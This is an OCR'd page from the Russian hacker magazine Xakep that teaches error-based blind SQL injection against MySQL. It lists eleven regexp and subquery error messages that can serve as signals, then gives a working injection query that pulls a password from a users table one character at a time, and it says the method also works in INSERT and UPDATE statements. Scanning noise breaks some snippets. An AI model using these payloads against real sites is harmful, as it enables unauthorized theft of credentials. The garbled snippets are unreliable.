НЕСЛУЧАЙНО CUDA ИДЕМ? phpMyAdmin - Xakep Online

взлом
ИСПОЛЬЗОВАНИЕ FIND_IN_SET() +
MORE1ROW
Если хорошенько поиграться с методом, предложенным выше,
можно заметить, что все его минусы сводятся к тому, что далеко
не на всех сайтах возможно получить достаточное количество
различных страниц, зависящих от одного параметра. Решим эту
проблему. Вспомним метод, предложенный Elekt'ом в ][ #111,
который основан на использовании ошибки «Subquery returns
more than 1 row».Суть метода заключается в том, чтобы заставить
скрипт выводить ошибку SQL в зависимости от результата
SQL-запроса. На данный момент, чтобы спровоцировать БД на
вывод ошибки, наиболее часто используется запрос:
SELECT 1 UNION SELECT 2
– который вернет ошибку:
#1242 — Subquery returns more than 1 row
ПРИМЕР ЭКСПЛОЙТА, НАПИСАННОГО ЯВНО НОВИЧКОМ
Также ZaCo нашел альтернативный вариант запроса, который
провоцирует БД на вывод ошибки в зависимости от условия:
"x" regexp concat("x{1,25", if(@@version5,
"5}", "6}")
select 1 regexp if(1=1,'(',2)
#1139 — Got error 'parentheses not balanced'
from regexp
INFO
В том случае, если версия MySql не равна 5, этот запрос вернет
ошибку:
#1139 — Got error 'invalid repetition
count(s)' from regexp.
Немного порывшись в исходниках MySql и погуглив, можно
найти еще 9 ошибок, которые возвращает неправильный
regexp. Итого, от сервера мы можем получить 11 видов ошибок +
1 состояние, когда ошибки нет:
SELECT 1
No error
select if(1=1,(select 1 union select 2),2)
#1242 — Subquery returns more than 1 row
select 1 regexp if(1=1,"x{1,0}",2)
#1139 — Got error 'invalid repetition
count(s)' from regexp
select 1 regexp if(1=1,"x{1,(",2)
#1139 — Got error 'braces not balanced' from
regexp
select 1 regexp if(1=1,'[[:]]',2)
#1139 — Got error 'invalid character class'
from regexp
select 1 regexp if(1=1,'[[',2)
#1139 — Got error 'brackets ([ ]) not balanced'
from regexp
select 1 regexp if(1=1,'(({1}',2)
#1139 — Got error 'repetition-operator operand
invalid' from regexp
select 1 regexp if(1=1,'',2)
#1139 — Got error 'empty (sub)expression' from
regexp
XÀÊÅÐ 07 /127/ 09
select 1 regexp if(1=1,'[2-1]',2)
#1139 — Got error 'invalid character range'
from regexp
select 1 regexp if(1=1,'[[.ch.]]',2)
#1139 — Got error 'invalid collating element'
from regexp
select 1 regexp if(1=1,'\\',2)
#1139 — Got error 'trailing backslash (\)' from
regexp
Пока просто примем это во внимание. Теперь самое время
вспомнить о функции find_in_set. Если искомый символ есть во
множестве подстрок, она вернет номер подстроки, если нет —
вернет 0. Попробуем привязать результат работы этой функции
к различным кодам ошибок и передадим вот такой запрос:
select * from users where id=-1
AND "x" regexp
concat("x{1,25",
if(
find_in_set(
substring((select passwd from users where
id=1),1,1),
'a,b,c,d,e,f,1,2,3,4,5,6'
)>0,
(select 1 union select 2),
"6}"
)
)
В результате, если первый символ пароля находится во множестве
'a,b,c,d,e,f,1,2,3,4,5,6', то запрос вернет:
#1242 — Subquery returns more than 1 row
А если не находится, то:
#1139 — Got error 'invalid repetition
info
Большим
преимущест вом
последнего из перечисленных
методов
является то, что он
с тем же успехом
может работать
и в INSERT,
и в UPDATE запросах.
DVD
dvd
На диске ты сможешь
найти скрипты для
работы с SQL-инъекциями
с использованием
описанных
в статье методов.
067